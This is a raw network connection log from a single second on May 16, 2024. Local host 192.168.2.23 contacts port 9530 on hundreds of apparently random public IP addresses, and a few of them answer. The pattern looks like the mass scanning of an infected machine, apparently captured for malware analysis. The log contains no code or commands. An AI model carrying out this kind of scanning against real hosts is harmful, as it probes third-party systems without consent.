May 16, 2024 16:38:50.001039982 CEST	55095	9530	192.168.2.23	201.250.203.221
May 16, 2024 16:38:50.001039982 CEST	55095	9530	192.168.2.23	210.253.198.41
May 16, 2024 16:38:50.001043081 CEST	55095	9530	192.168.2.23	36.100.43.120
May 16, 2024 16:38:50.001045942 CEST	9530	55095	90.208.170.212	192.168.2.23
May 16, 2024 16:38:50.001059055 CEST	9530	55095	27.205.10.72	192.168.2.23
May 16, 2024 16:38:50.001060963 CEST	55095	9530	192.168.2.23	200.144.135.187
May 16, 2024 16:38:50.001068115 CEST	9530	55095	142.213.115.123	192.168.2.23
May 16, 2024 16:38:50.001072884 CEST	55095	9530	192.168.2.23	13.93.221.3
May 16, 2024 16:38:50.001077890 CEST	9530	55095	189.129.3.69	192.168.2.23
May 16, 2024 16:38:50.001087904 CEST	9530	55095	60.101.247.146	192.168.2.23
May 16, 2024 16:38:50.001091957 CEST	9530	55095	182.147.57.113	192.168.2.23
May 16, 2024 16:38:50.001097918 CEST	55095	9530	192.168.2.23	27.205.10.72
May 16, 2024 16:38:50.001097918 CEST	55095	9530	192.168.2.23	142.213.115.123
May 16, 2024 16:38:50.001101017 CEST	9530	57522	42.222.106.168	192.168.2.23
May 16, 2024 16:38:50.001101971 CEST	55095	9530	192.168.2.23	111.109.23.190
May 16, 2024 16:38:50.001101971 CEST	55095	9530	192.168.2.23	53.38.232.176
May 16, 2024 16:38:50.001108885 CEST	55095	9530	192.168.2.23	90.208.170.212
May 16, 2024 16:38:50.001108885 CEST	55095	9530	192.168.2.23	130.248.235.133
May 16, 2024 16:38:50.001111031 CEST	9530	38420	105.168.21.86	192.168.2.23
May 16, 2024 16:38:50.001112938 CEST	55095	9530	192.168.2.23	189.129.3.69
May 16, 2024 16:38:50.001113892 CEST	55095	9530	192.168.2.23	182.147.57.113
May 16, 2024 16:38:50.001116037 CEST	9530	37590	12.172.250.221	192.168.2.23
May 16, 2024 16:38:50.001126051 CEST	9530	41740	77.249.36.58	192.168.2.23
May 16, 2024 16:38:50.001131058 CEST	55095	9530	192.168.2.23	60.101.247.146
May 16, 2024 16:38:50.001137018 CEST	9530	41052	62.12.76.75	192.168.2.23
May 16, 2024 16:38:50.001147032 CEST	9530	45312	188.74.50.28	192.168.2.23
May 16, 2024 16:38:50.001157045 CEST	9530	38918	35.5.142.23	192.168.2.23
May 16, 2024 16:38:50.001163006 CEST	57522	9530	192.168.2.23	42.222.106.168
May 16, 2024 16:38:50.001163006 CEST	38420	9530	192.168.2.23	105.168.21.86
May 16, 2024 16:38:50.001168013 CEST	9530	42948	129.154.204.88	192.168.2.23
May 16, 2024 16:38:50.001176119 CEST	37590	9530	192.168.2.23	12.172.250.221
May 16, 2024 16:38:50.001177073 CEST	9530	38548	179.129.11.88	192.168.2.23
May 16, 2024 16:38:50.001182079 CEST	9530	40638	203.139.168.178	192.168.2.23
May 16, 2024 16:38:50.001184940 CEST	9530	50814	204.198.66.255	192.168.2.23
May 16, 2024 16:38:50.001188040 CEST	9530	46768	192.50.34.36	192.168.2.23
May 16, 2024 16:38:50.001225948 CEST	38918	9530	192.168.2.23	35.5.142.23
May 16, 2024 16:38:50.001226902 CEST	41740	9530	192.168.2.23	77.249.36.58
May 16, 2024 16:38:50.001229048 CEST	41052	9530	192.168.2.23	62.12.76.75
May 16, 2024 16:38:50.001238108 CEST	55095	9530	192.168.2.23	125.165.108.231
May 16, 2024 16:38:50.001246929 CEST	57522	9530	192.168.2.23	42.222.106.168
May 16, 2024 16:38:50.001246929 CEST	38420	9530	192.168.2.23	105.168.21.86
May 16, 2024 16:38:50.001252890 CEST	45312	9530	192.168.2.23	188.74.50.28
May 16, 2024 16:38:50.001261950 CEST	46768	9530	192.168.2.23	192.50.34.36
May 16, 2024 16:38:50.001262903 CEST	42948	9530	192.168.2.23	129.154.204.88
May 16, 2024 16:38:50.001262903 CEST	50814	9530	192.168.2.23	204.198.66.255
May 16, 2024 16:38:50.001262903 CEST	38548	9530	192.168.2.23	179.129.11.88
May 16, 2024 16:38:50.001270056 CEST	40638	9530	192.168.2.23	203.139.168.178
May 16, 2024 16:38:50.001272917 CEST	55095	9530	192.168.2.23	86.224.49.198
May 16, 2024 16:38:50.001283884 CEST	55095	9530	192.168.2.23	136.248.165.141
May 16, 2024 16:38:50.001288891 CEST	55095	9530	192.168.2.23	104.176.87.89
May 16, 2024 16:38:50.001288891 CEST	55095	9530	192.168.2.23	8.227.106.158
May 16, 2024 16:38:50.001288891 CEST	55095	9530	192.168.2.23	152.10.133.200
May 16, 2024 16:38:50.001292944 CEST	55095	9530	192.168.2.23	130.131.55.60
May 16, 2024 16:38:50.001292944 CEST	55095	9530	192.168.2.23	81.31.65.164
May 16, 2024 16:38:50.001306057 CEST	55095	9530	192.168.2.23	120.74.255.178
May 16, 2024 16:38:50.001316071 CEST	55095	9530	192.168.2.23	170.85.41.91
May 16, 2024 16:38:50.001322031 CEST	55095	9530	192.168.2.23	174.213.253.232
May 16, 2024 16:38:50.001322031 CEST	55095	9530	192.168.2.23	52.98.74.230
May 16, 2024 16:38:50.001322031 CEST	55095	9530	192.168.2.23	167.42.217.222
May 16, 2024 16:38:50.001327991 CEST	55095	9530	192.168.2.23	202.244.68.82
May 16, 2024 16:38:50.001327991 CEST	55095	9530	192.168.2.23	117.62.70.65
May 16, 2024 16:38:50.001331091 CEST	55095	9530	192.168.2.23	51.244.7.174
May 16, 2024 16:38:50.001332045 CEST	55095	9530	192.168.2.23	104.175.22.251
May 16, 2024 16:38:50.001332045 CEST	55095	9530	192.168.2.23	169.72.220.216
May 16, 2024 16:38:50.001332998 CEST	55095	9530	192.168.2.23	134.134.137.225
May 16, 2024 16:38:50.001338005 CEST	55095	9530	192.168.2.23	169.100.20.107
May 16, 2024 16:38:50.001338005 CEST	55095	9530	192.168.2.23	2.215.171.109
May 16, 2024 16:38:50.001339912 CEST	55095	9530	192.168.2.23	209.19.131.232
May 16, 2024 16:38:50.001339912 CEST	55095	9530	192.168.2.23	94.198.81.232
May 16, 2024 16:38:50.001339912 CEST	55095	9530	192.168.2.23	25.185.111.177
May 16, 2024 16:38:50.001344919 CEST	55095	9530	192.168.2.23	145.205.178.107
May 16, 2024 16:38:50.001344919 CEST	55095	9530	192.168.2.23	114.199.191.65
May 16, 2024 16:38:50.001344919 CEST	55095	9530	192.168.2.23	194.29.191.1
May 16, 2024 16:38:50.001358986 CEST	55095	9530	192.168.2.23	223.133.106.125
May 16, 2024 16:38:50.001358986 CEST	55095	9530	192.168.2.23	142.228.218.100
May 16, 2024 16:38:50.001358986 CEST	55095	9530	192.168.2.23	120.231.127.150
May 16, 2024 16:38:50.001368046 CEST	55095	9530	192.168.2.23	218.57.12.46
May 16, 2024 16:38:50.001368999 CEST	55095	9530	192.168.2.23	107.112.221.36
May 16, 2024 16:38:50.001368999 CEST	55095	9530	192.168.2.23	83.12.179.152
May 16, 2024 16:38:50.001378059 CEST	55095	9530	192.168.2.23	80.253.2.140
May 16, 2024 16:38:50.001385927 CEST	55095	9530	192.168.2.23	107.201.255.139
May 16, 2024 16:38:50.001385927 CEST	55095	9530	192.168.2.23	14.56.197.165
May 16, 2024 16:38:50.001385927 CEST	55095	9530	192.168.2.23	176.150.251.45
May 16, 2024 16:38:50.001385927 CEST	55095	9530	192.168.2.23	134.217.63.167
May 16, 2024 16:38:50.001391888 CEST	55095	9530	192.168.2.23	37.198.178.91
May 16, 2024 16:38:50.001399994 CEST	55095	9530	192.168.2.23	104.13.239.248
May 16, 2024 16:38:50.001399994 CEST	55095	9530	192.168.2.23	116.32.194.42
May 16, 2024 16:38:50.001405001 CEST	55095	9530	192.168.2.23	184.52.83.17
May 16, 2024 16:38:50.001405001 CEST	55095	9530	192.168.2.23	75.19.230.166
May 16, 2024 16:38:50.001405001 CEST	55095	9530	192.168.2.23	116.204.224.194
May 16, 2024 16:38:50.001420021 CEST	55095	9530	192.168.2.23	213.64.188.180
May 16, 2024 16:38:50.001420021 CEST	55095	9530	192.168.2.23	163.81.225.168
May 16, 2024 16:38:50.001422882 CEST	55095	9530	192.168.2.23	195.161.125.125
May 16, 2024 16:38:50.001422882 CEST	55095	9530	192.168.2.23	151.247.43.111
May 16, 2024 16:38:50.001424074 CEST	55095	9530	192.168.2.23	49.154.66.28
May 16, 2024 16:38:50.001422882 CEST	55095	9530	192.168.2.23	166.171.245.146
May 16, 2024 16:38:50.001425982 CEST	55095	9530	192.168.2.23	184.75.98.82
May 16, 2024 16:38:50.001425982 CEST	55095	9530	192.168.2.23	38.174.16.123
May 16, 2024 16:38:50.001425982 CEST	55095	9530	192.168.2.23	59.92.220.220
May 16, 2024 16:38:50.001432896 CEST	55095	9530	192.168.2.23	209.164.10.245
May 16, 2024 16:38:50.001436949 CEST	55095	9530	192.168.2.23	210.253.73.232
May 16, 2024 16:38:50.001442909 CEST	55095	9530	192.168.2.23	217.151.108.3
May 16, 2024 16:38:50.001442909 CEST	55095	9530	192.168.2.23	96.239.71.49
May 16, 2024 16:38:50.001442909 CEST	55095	9530	192.168.2.23	1.109.32.78
May 16, 2024 16:38:50.001445055 CEST	55095	9530	192.168.2.23	39.208.170.132
May 16, 2024 16:38:50.001451015 CEST	55095	9530	192.168.2.23	49.71.239.242
May 16, 2024 16:38:50.001451969 CEST	55095	9530	192.168.2.23	179.1.52.150
May 16, 2024 16:38:50.001452923 CEST	55095	9530	192.168.2.23	166.72.4.244
May 16, 2024 16:38:50.001456022 CEST	55095	9530	192.168.2.23	57.167.15.28
May 16, 2024 16:38:50.001461029 CEST	55095	9530	192.168.2.23	191.80.81.30
May 16, 2024 16:38:50.001461029 CEST	55095	9530	192.168.2.23	151.17.75.175
May 16, 2024 16:38:50.001463890 CEST	55095	9530	192.168.2.23	51.243.99.154
May 16, 2024 16:38:50.001463890 CEST	55095	9530	192.168.2.23	93.38.166.122
May 16, 2024 16:38:50.001471996 CEST	55095	9530	192.168.2.23	88.105.74.50
May 16, 2024 16:38:50.001471996 CEST	55095	9530	192.168.2.23	143.141.79.10
May 16, 2024 16:38:50.001471996 CEST	55095	9530	192.168.2.23	132.54.11.55
May 16, 2024 16:38:50.001473904 CEST	55095	9530	192.168.2.23	125.233.128.118
May 16, 2024 16:38:50.001473904 CEST	55095	9530	192.168.2.23	219.96.134.162
May 16, 2024 16:38:50.001473904 CEST	55095	9530	192.168.2.23	139.190.33.62
May 16, 2024 16:38:50.001477003 CEST	55095	9530	192.168.2.23	69.233.146.200
May 16, 2024 16:38:50.001501083 CEST	55095	9530	192.168.2.23	212.1.173.10
May 16, 2024 16:38:50.001502037 CEST	55095	9530	192.168.2.23	75.209.124.243
May 16, 2024 16:38:50.001511097 CEST	55095	9530	192.168.2.23	186.18.201.192
May 16, 2024 16:38:50.001513004 CEST	55095	9530	192.168.2.23	89.146.225.160
May 16, 2024 16:38:50.001513004 CEST	55095	9530	192.168.2.23	81.179.148.181
May 16, 2024 16:38:50.001516104 CEST	55095	9530	192.168.2.23	212.16.206.144
May 16, 2024 16:38:50.001516104 CEST	55095	9530	192.168.2.23	64.120.28.17
May 16, 2024 16:38:50.001516104 CEST	55095	9530	192.168.2.23	188.1.70.241
May 16, 2024 16:38:50.001516104 CEST	55095	9530	192.168.2.23	85.168.162.112
May 16, 2024 16:38:50.001518965 CEST	55095	9530	192.168.2.23	94.76.235.182
May 16, 2024 16:38:50.001519918 CEST	55095	9530	192.168.2.23	48.223.45.0
May 16, 2024 16:38:50.001521111 CEST	55095	9530	192.168.2.23	79.75.204.9
May 16, 2024 16:38:50.001521111 CEST	55095	9530	192.168.2.23	175.226.66.182
May 16, 2024 16:38:50.001523018 CEST	55095	9530	192.168.2.23	111.219.94.219
May 16, 2024 16:38:50.001527071 CEST	55095	9530	192.168.2.23	122.234.104.28
May 16, 2024 16:38:50.001533031 CEST	55095	9530	192.168.2.23	88.130.233.101
May 16, 2024 16:38:50.001535892 CEST	55095	9530	192.168.2.23	94.40.244.201
May 16, 2024 16:38:50.001545906 CEST	55095	9530	192.168.2.23	187.191.221.162
May 16, 2024 16:38:50.001549959 CEST	55095	9530	192.168.2.23	119.182.188.6
May 16, 2024 16:38:50.001549959 CEST	55095	9530	192.168.2.23	103.219.96.193
May 16, 2024 16:38:50.001550913 CEST	55095	9530	192.168.2.23	162.205.70.179
May 16, 2024 16:38:50.001549959 CEST	55095	9530	192.168.2.23	187.147.153.196
May 16, 2024 16:38:50.001549959 CEST	55095	9530	192.168.2.23	175.11.133.46
May 16, 2024 16:38:50.001564026 CEST	55095	9530	192.168.2.23	139.22.29.209
May 16, 2024 16:38:50.001564026 CEST	55095	9530	192.168.2.23	20.249.196.57
May 16, 2024 16:38:50.001566887 CEST	55095	9530	192.168.2.23	27.252.27.83
May 16, 2024 16:38:50.001566887 CEST	55095	9530	192.168.2.23	74.104.126.111
May 16, 2024 16:38:50.001566887 CEST	55095	9530	192.168.2.23	207.75.246.101
May 16, 2024 16:38:50.001571894 CEST	55095	9530	192.168.2.23	208.31.83.80
May 16, 2024 16:38:50.001573086 CEST	55095	9530	192.168.2.23	112.193.229.56
May 16, 2024 16:38:50.001574039 CEST	55095	9530	192.168.2.23	148.94.223.125
May 16, 2024 16:38:50.001574039 CEST	55095	9530	192.168.2.23	23.121.196.147
May 16, 2024 16:38:50.001576900 CEST	55095	9530	192.168.2.23	180.55.44.32
May 16, 2024 16:38:50.001580000 CEST	55095	9530	192.168.2.23	40.229.34.117
May 16, 2024 16:38:50.001580000 CEST	55095	9530	192.168.2.23	79.109.146.34
May 16, 2024 16:38:50.001580000 CEST	55095	9530	192.168.2.23	183.29.207.152
May 16, 2024 16:38:50.001583099 CEST	55095	9530	192.168.2.23	178.73.146.221
May 16, 2024 16:38:50.001589060 CEST	55095	9530	192.168.2.23	154.169.161.90
May 16, 2024 16:38:50.001589060 CEST	55095	9530	192.168.2.23	39.166.29.89
May 16, 2024 16:38:50.001590014 CEST	55095	9530	192.168.2.23	150.209.179.37
May 16, 2024 16:38:50.001595974 CEST	55095	9530	192.168.2.23	42.123.207.254
May 16, 2024 16:38:50.001600027 CEST	55095	9530	192.168.2.23	52.191.59.124
May 16, 2024 16:38:50.001605988 CEST	55095	9530	192.168.2.23	76.56.85.41
May 16, 2024 16:38:50.001605988 CEST	55095	9530	192.168.2.23	112.112.40.227
May 16, 2024 16:38:50.001606941 CEST	55095	9530	192.168.2.23	169.219.159.17
May 16, 2024 16:38:50.001607895 CEST	55095	9530	192.168.2.23	147.131.194.135
May 16, 2024 16:38:50.001609087 CEST	55095	9530	192.168.2.23	219.147.54.223
May 16, 2024 16:38:50.001610994 CEST	55095	9530	192.168.2.23	43.40.65.117
May 16, 2024 16:38:50.001616001 CEST	55095	9530	192.168.2.23	64.120.167.100
May 16, 2024 16:38:50.001620054 CEST	55095	9530	192.168.2.23	32.6.71.170
May 16, 2024 16:38:50.001627922 CEST	55095	9530	192.168.2.23	105.97.43.86
May 16, 2024 16:38:50.001631975 CEST	55095	9530	192.168.2.23	23.20.63.157
May 16, 2024 16:38:50.001633883 CEST	55095	9530	192.168.2.23	125.117.68.227
May 16, 2024 16:38:50.001633883 CEST	55095	9530	192.168.2.23	51.241.129.64
May 16, 2024 16:38:50.001640081 CEST	55095	9530	192.168.2.23	90.142.57.175
May 16, 2024 16:38:50.001641989 CEST	55095	9530	192.168.2.23	47.174.99.110
May 16, 2024 16:38:50.001641989 CEST	55095	9530	192.168.2.23	200.205.98.218
May 16, 2024 16:38:50.001646996 CEST	55095	9530	192.168.2.23	168.179.231.74
May 16, 2024 16:38:50.001652956 CEST	55095	9530	192.168.2.23	207.40.33.122
May 16, 2024 16:38:50.001652956 CEST	55095	9530	192.168.2.23	144.94.213.233
May 16, 2024 16:38:50.001656055 CEST	55095	9530	192.168.2.23	175.88.130.12
May 16, 2024 16:38:50.001656055 CEST	55095	9530	192.168.2.23	185.113.136.80
May 16, 2024 16:38:50.001657009 CEST	55095	9530	192.168.2.23	221.82.193.203
May 16, 2024 16:38:50.001662970 CEST	55095	9530	192.168.2.23	89.244.39.122
May 16, 2024 16:38:50.001662970 CEST	55095	9530	192.168.2.23	84.116.11.0
May 16, 2024 16:38:50.001665115 CEST	55095	9530	192.168.2.23	180.10.236.48
May 16, 2024 16:38:50.001665115 CEST	55095	9530	192.168.2.23	13.28.90.105
May 16, 2024 16:38:50.001665115 CEST	55095	9530	192.168.2.23	153.247.107.168
May 16, 2024 16:38:50.001668930 CEST	55095	9530	192.168.2.23	152.153.117.69
May 16, 2024 16:38:50.001668930 CEST	55095	9530	192.168.2.23	5.97.192.228
May 16, 2024 16:38:50.001689911 CEST	55095	9530	192.168.2.23	31.211.226.9
May 16, 2024 16:38:50.001693010 CEST	55095	9530	192.168.2.23	193.52.65.115
May 16, 2024 16:38:50.001693010 CEST	55095	9530	192.168.2.23	99.161.55.58
May 16, 2024 16:38:50.001693964 CEST	55095	9530	192.168.2.23	199.39.197.113
May 16, 2024 16:38:50.001693010 CEST	55095	9530	192.168.2.23	69.213.104.239
May 16, 2024 16:38:50.001693964 CEST	55095	9530	192.168.2.23	32.181.38.181
May 16, 2024 16:38:50.001693010 CEST	55095	9530	192.168.2.23	45.253.223.39
May 16, 2024 16:38:50.001693010 CEST	55095	9530	192.168.2.23	75.227.109.79
May 16, 2024 16:38:50.001714945 CEST	55095	9530	192.168.2.23	120.118.23.244
May 16, 2024 16:38:50.001714945 CEST	55095	9530	192.168.2.23	96.236.208.74
May 16, 2024 16:38:50.001718044 CEST	55095	9530	192.168.2.23	168.132.201.236
May 16, 2024 16:38:50.001718044 CEST	55095	9530	192.168.2.23	198.144.218.243
May 16, 2024 16:38:50.001718998 CEST	55095	9530	192.168.2.23	47.90.148.227
May 16, 2024 16:38:50.001723051 CEST	55095	9530	192.168.2.23	27.81.179.231
May 16, 2024 16:38:50.001725912 CEST	55095	9530	192.168.2.23	94.101.210.144
May 16, 2024 16:38:50.001734018 CEST	55095	9530	192.168.2.23	104.150.216.197
May 16, 2024 16:38:50.001734972 CEST	55095	9530	192.168.2.23	179.104.29.4
May 16, 2024 16:38:50.001738071 CEST	55095	9530	192.168.2.23	12.26.167.86
May 16, 2024 16:38:50.001738071 CEST	55095	9530	192.168.2.23	19.176.62.66
May 16, 2024 16:38:50.001738071 CEST	55095	9530	192.168.2.23	107.189.219.88
May 16, 2024 16:38:50.001754999 CEST	55095	9530	192.168.2.23	193.128.199.75
May 16, 2024 16:38:50.001754999 CEST	55095	9530	192.168.2.23	126.11.95.232
May 16, 2024 16:38:50.001754999 CEST	55095	9530	192.168.2.23	218.100.16.15
May 16, 2024 16:38:50.001760960 CEST	55095	9530	192.168.2.23	123.0.189.219
May 16, 2024 16:38:50.001766920 CEST	55095	9530	192.168.2.23	137.66.191.21
May 16, 2024 16:38:50.001766920 CEST	55095	9530	192.168.2.23	85.140.12.220
May 16, 2024 16:38:50.001770973 CEST	55095	9530	192.168.2.23	124.211.190.237
May 16, 2024 16:38:50.001770973 CEST	55095	9530	192.168.2.23	130.103.4.41
May 16, 2024 16:38:50.001770973 CEST	55095	9530	192.168.2.23	102.82.64.177
May 16, 2024 16:38:50.001773119 CEST	55095	9530	192.168.2.23	109.87.107.212
May 16, 2024 16:38:50.001775026 CEST	55095	9530	192.168.2.23	218.17.96.200
May 16, 2024 16:38:50.001787901 CEST	55095	9530	192.168.2.23	167.145.240.253
May 16, 2024 16:38:50.001787901 CEST	55095	9530	192.168.2.23	14.249.130.6
May 16, 2024 16:38:50.001791954 CEST	55095	9530	192.168.2.23	153.132.138.1
May 16, 2024 16:38:50.001791954 CEST	55095	9530	192.168.2.23	125.114.153.0
May 16, 2024 16:38:50.001796007 CEST	55095	9530	192.168.2.23	52.186.97.17
May 16, 2024 16:38:50.001810074 CEST	55095	9530	192.168.2.23	110.91.75.89
May 16, 2024 16:38:50.001810074 CEST	55095	9530	192.168.2.23	182.62.232.233
May 16, 2024 16:38:50.001810074 CEST	55095	9530	192.168.2.23	125.54.186.176
May 16, 2024 16:38:50.001810074 CEST	55095	9530	192.168.2.23	178.77.1.84
May 16, 2024 16:38:50.001811028 CEST	55095	9530	192.168.2.23	218.129.183.16
May 16, 2024 16:38:50.001820087 CEST	55095	9530	192.168.2.23	210.71.101.252
May 16, 2024 16:38:50.001821041 CEST	55095	9530	192.168.2.23	104.236.177.157
May 16, 2024 16:38:50.001832008 CEST	55095	9530	192.168.2.23	87.176.132.147
May 16, 2024 16:38:50.001832008 CEST	55095	9530	192.168.2.23	114.216.236.200
May 16, 2024 16:38:50.001832008 CEST	55095	9530	192.168.2.23	190.122.252.69
May 16, 2024 16:38:50.001832008 CEST	55095	9530	192.168.2.23	150.229.17.162
May 16, 2024 16:38:50.001832962 CEST	55095	9530	192.168.2.23	23.84.130.194
May 16, 2024 16:38:50.001835108 CEST	55095	9530	192.168.2.23	64.231.29.241
May 16, 2024 16:38:50.001835108 CEST	55095	9530	192.168.2.23	106.88.30.231
May 16, 2024 16:38:50.001837015 CEST	55095	9530	192.168.2.23	2.23.151.35
May 16, 2024 16:38:50.001837969 CEST	55095	9530	192.168.2.23	181.15.17.197
May 16, 2024 16:38:50.001837969 CEST	55095	9530	192.168.2.23	38.49.216.200
May 16, 2024 16:38:50.001841068 CEST	55095	9530	192.168.2.23	207.226.253.81
May 16, 2024 16:38:50.001843929 CEST	55095	9530	192.168.2.23	130.45.195.8
May 16, 2024 16:38:50.001857042 CEST	55095	9530	192.168.2.23	154.182.20.44
May 16, 2024 16:38:50.001857042 CEST	55095	9530	192.168.2.23	145.136.157.105
May 16, 2024 16:38:50.001858950 CEST	55095	9530	192.168.2.23	220.176.231.41
May 16, 2024 16:38:50.001857042 CEST	55095	9530	192.168.2.23	5.115.112.234
May 16, 2024 16:38:50.001864910 CEST	55095	9530	192.168.2.23	181.85.194.214
May 16, 2024 16:38:50.001864910 CEST	55095	9530	192.168.2.23	52.66.16.192
May 16, 2024 16:38:50.001868963 CEST	55095	9530	192.168.2.23	138.183.131.103
May 16, 2024 16:38:50.001864910 CEST	55095	9530	192.168.2.23	133.129.239.149
May 16, 2024 16:38:50.001879930 CEST	55095	9530	192.168.2.23	159.141.183.194
May 16, 2024 16:38:50.001882076 CEST	55095	9530	192.168.2.23	87.105.179.253
May 16, 2024 16:38:50.001883030 CEST	55095	9530	192.168.2.23	76.87.92.7
May 16, 2024 16:38:50.001883030 CEST	55095	9530	192.168.2.23	167.241.16.204
May 16, 2024 16:38:50.001883030 CEST	55095	9530	192.168.2.23	195.30.93.162
May 16, 2024 16:38:50.001883030 CEST	55095	9530	192.168.2.23	20.228.3.244
May 16, 2024 16:38:50.001889944 CEST	55095	9530	192.168.2.23	25.217.10.125
May 16, 2024 16:38:50.001890898 CEST	55095	9530	192.168.2.23	187.8.144.225
May 16, 2024 16:38:50.001892090 CEST	55095	9530	192.168.2.23	220.226.67.89
May 16, 2024 16:38:50.001892090 CEST	55095	9530	192.168.2.23	13.172.41.250
May 16, 2024 16:38:50.001899004 CEST	55095	9530	192.168.2.23	69.131.196.255
May 16, 2024 16:38:50.001899004 CEST	55095	9530	192.168.2.23	49.140.190.120
May 16, 2024 16:38:50.001904964 CEST	55095	9530	192.168.2.23	27.149.148.209
May 16, 2024 16:38:50.001908064 CEST	55095	9530	192.168.2.23	38.87.230.123
May 16, 2024 16:38:50.001908064 CEST	55095	9530	192.168.2.23	68.52.91.194
May 16, 2024 16:38:50.001921892 CEST	55095	9530	192.168.2.23	48.181.82.222
May 16, 2024 16:38:50.001924038 CEST	55095	9530	192.168.2.23	217.217.15.134
May 16, 2024 16:38:50.001924038 CEST	55095	9530	192.168.2.23	57.138.110.226
May 16, 2024 16:38:50.001925945 CEST	55095	9530	192.168.2.23	42.222.151.251
May 16, 2024 16:38:50.001925945 CEST	55095	9530	192.168.2.23	75.214.108.190
May 16, 2024 16:38:50.001926899 CEST	55095	9530	192.168.2.23	32.207.142.29
May 16, 2024 16:38:50.001933098 CEST	55095	9530	192.168.2.23	50.42.64.165
May 16, 2024 16:38:50.001935959 CEST	55095	9530	192.168.2.23	53.98.159.138
May 16, 2024 16:38:50.001935959 CEST	55095	9530	192.168.2.23	83.214.221.15
May 16, 2024 16:38:50.001935959 CEST	55095	9530	192.168.2.23	123.67.37.114
May 16, 2024 16:38:50.001949072 CEST	55095	9530	192.168.2.23	174.213.84.70
May 16, 2024 16:38:50.001950026 CEST	55095	9530	192.168.2.23	89.204.93.26
May 16, 2024 16:38:50.001950026 CEST	55095	9530	192.168.2.23	194.215.65.159
May 16, 2024 16:38:50.001956940 CEST	55095	9530	192.168.2.23	193.20.127.40
May 16, 2024 16:38:50.001974106 CEST	55095	9530	192.168.2.23	134.201.19.157
May 16, 2024 16:38:50.001974106 CEST	55095	9530	192.168.2.23	195.21.45.91
May 16, 2024 16:38:50.001974106 CEST	55095	9530	192.168.2.23	198.68.191.210
May 16, 2024 16:38:50.001974106 CEST	55095	9530	192.168.2.23	188.160.62.197
May 16, 2024 16:38:50.001976013 CEST	55095	9530	192.168.2.23	60.205.220.232
May 16, 2024 16:38:50.001976013 CEST	55095	9530	192.168.2.23	122.68.104.217
May 16, 2024 16:38:50.001979113 CEST	55095	9530	192.168.2.23	143.147.132.165
May 16, 2024 16:38:50.001979113 CEST	55095	9530	192.168.2.23	44.46.30.5
May 16, 2024 16:38:50.001986027 CEST	55095	9530	192.168.2.23	166.179.26.8
May 16, 2024 16:38:50.001986027 CEST	55095	9530	192.168.2.23	151.118.189.79
May 16, 2024 16:38:50.001988888 CEST	55095	9530	192.168.2.23	125.55.103.147
May 16, 2024 16:38:50.001988888 CEST	55095	9530	192.168.2.23	48.228.96.0
May 16, 2024 16:38:50.001991034 CEST	55095	9530	192.168.2.23	102.132.97.30
May 16, 2024 16:38:50.002002001 CEST	55095	9530	192.168.2.23	203.171.98.238
May 16, 2024 16:38:50.002002954 CEST	55095	9530	192.168.2.23	96.137.244.66
May 16, 2024 16:38:50.002002954 CEST	55095	9530	192.168.2.23	38.231.173.10
May 16, 2024 16:38:50.002003908 CEST	55095	9530	192.168.2.23	122.195.86.156
May 16, 2024 16:38:50.002011061 CEST	55095	9530	192.168.2.23	43.75.247.54
May 16, 2024 16:38:50.002012968 CEST	55095	9530	192.168.2.23	45.56.152.237
May 16, 2024 16:38:50.002017021 CEST	55095	9530	192.168.2.23	212.100.102.160
May 16, 2024 16:38:50.002019882 CEST	55095	9530	192.168.2.23	57.218.209.226
May 16, 2024 16:38:50.002019882 CEST	55095	9530	192.168.2.23	118.195.86.55
May 16, 2024 16:38:50.002019882 CEST	55095	9530	192.168.2.23	89.195.227.94
May 16, 2024 16:38:50.002032995 CEST	55095	9530	192.168.2.23	141.78.70.17
May 16, 2024 16:38:50.002032995 CEST	55095	9530	192.168.2.23	113.17.163.6
May 16, 2024 16:38:50.002038002 CEST	55095	9530	192.168.2.23	181.98.207.139
May 16, 2024 16:38:50.002038002 CEST	55095	9530	192.168.2.23	123.93.185.128
May 16, 2024 16:38:50.002038956 CEST	55095	9530	192.168.2.23	194.56.149.96
May 16, 2024 16:38:50.002043962 CEST	55095	9530	192.168.2.23	52.74.11.136
May 16, 2024 16:38:50.002052069 CEST	55095	9530	192.168.2.23	139.184.205.140
May 16, 2024 16:38:50.002053976 CEST	55095	9530	192.168.2.23	142.73.186.160
May 16, 2024 16:38:50.002055883 CEST	55095	9530	192.168.2.23	216.226.66.174
May 16, 2024 16:38:50.002055883 CEST	55095	9530	192.168.2.23	19.130.196.131
May 16, 2024 16:38:50.002055883 CEST	55095	9530	192.168.2.23	131.158.60.216
May 16, 2024 16:38:50.002055883 CEST	55095	9530	192.168.2.23	80.149.29.244
May 16, 2024 16:38:50.002055883 CEST	55095	9530	192.168.2.23	207.168.214.120
May 16, 2024 16:38:50.002055883 CEST	55095	9530	192.168.2.23	162.189.102.217
May 16, 2024 16:38:50.002055883 CEST	55095	9530	192.168.2.23	49.21.183.57
May 16, 2024 16:38:50.002070904 CEST	55095	9530	192.168.2.23	159.159.113.100
May 16, 2024 16:38:50.002078056 CEST	55095	9530	192.168.2.23	49.213.151.39
May 16, 2024 16:38:50.002079964 CEST	55095	9530	192.168.2.23	86.116.36.134
May 16, 2024 16:38:50.002079964 CEST	55095	9530	192.168.2.23	98.116.177.247
May 16, 2024 16:38:50.002083063 CEST	55095	9530	192.168.2.23	50.113.115.237
May 16, 2024 16:38:50.002089024 CEST	55095	9530	192.168.2.23	110.233.19.127
May 16, 2024 16:38:50.002089024 CEST	55095	9530	192.168.2.23	68.12.161.173
May 16, 2024 16:38:50.002089024 CEST	55095	9530	192.168.2.23	189.28.242.74
May 16, 2024 16:38:50.002089024 CEST	55095	9530	192.168.2.23	139.60.159.188
May 16, 2024 16:38:50.002089977 CEST	55095	9530	192.168.2.23	116.9.216.56
May 16, 2024 16:38:50.002100945 CEST	55095	9530	192.168.2.23	2.0.144.244
May 16, 2024 16:38:50.002100945 CEST	55095	9530	192.168.2.23	54.65.0.233
May 16, 2024 16:38:50.002101898 CEST	55095	9530	192.168.2.23	140.23.116.148
May 16, 2024 16:38:50.002103090 CEST	55095	9530	192.168.2.23	134.155.123.83
May 16, 2024 16:38:50.002103090 CEST	55095	9530	192.168.2.23	118.172.99.43
May 16, 2024 16:38:50.002109051 CEST	55095	9530	192.168.2.23	187.46.180.128
May 16, 2024 16:38:50.002130032 CEST	55095	9530	192.168.2.23	59.198.57.131
May 16, 2024 16:38:50.002130985 CEST	55095	9530	192.168.2.23	64.48.45.99
May 16, 2024 16:38:50.002144098 CEST	55095	9530	192.168.2.23	91.77.50.86
May 16, 2024 16:38:50.002185106 CEST	55095	9530	192.168.2.23	137.13.167.179
